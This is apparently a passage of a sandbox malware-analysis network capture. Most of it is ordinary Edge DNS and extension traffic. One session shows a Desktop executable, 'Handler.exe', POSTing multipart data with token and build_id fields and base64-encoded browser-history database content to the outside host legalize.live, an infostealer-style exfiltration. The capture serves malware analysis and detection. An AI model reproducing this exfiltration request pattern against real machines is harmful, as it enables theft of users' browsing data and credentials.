2025-01-15 19:16:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-15 19:16:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833716e75f797-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 25 00 04 8e fa 50 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom%P)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49871	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-15 19:16:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833718d527290-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f1 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49864	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:34 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----c2dt0r1dbsje379hdb1n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 32 64 74 30 72 31 64 62 73 6a 65 33 37 39 68 64 62 31 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 63 32 64 74 30 72 31 64 62 73 6a 65 33 37 39 68 64 62 31 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 63 32 64 74 30 72 31 64 62 73 6a 65 33 37 39 68 64 62 31 6e 0d 0a 43 6f 6e 74 Data Ascii: ------c2dt0r1dbsje379hdb1nContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------c2dt0r1dbsje379hdb1nContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------c2dt0r1dbsje379hdb1nCont
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
2025-01-15 19:16:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49872	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-15 19:16:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028337199cfc436-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49868	142.250.186.33	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:34 UTC	594	OUT	GET /crx/blobs/AcmIXbpGoRruM6Rg2pdHIUfNGnvAwJcqpFoWJV4Xd6PeYFnv5YpJ0-GVzjWL6XpCDzrg9cVo2bTwfPVau85UdyeFfZQe-rOdS7oyguq-391NmfeQd9WZZkjpgIbL1I5KKEcAxlKa5Z8JDrufy52udyO9TokqhOw4Sbnj/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-15 19:16:34 UTC	562	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgThiViYfSoTfs1aWdJTM2QJRzjkvm3DR7rqGzWEB9HPngv99nrfErYzi-Smdnd8we4 Accept-Ranges: bytes Content-Length: 154477 X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Wed, 15 Jan 2025 09:00:29 GMT Expires: Thu, 15 Jan 2026 09:00:29 GMT Cache-Control: public, max-age=31536000 Age: 36965 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-15 19:16:34 UTC	828	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 bb Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2025-01-15 19:16:34 UTC	1390	IN	Data Raw: 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 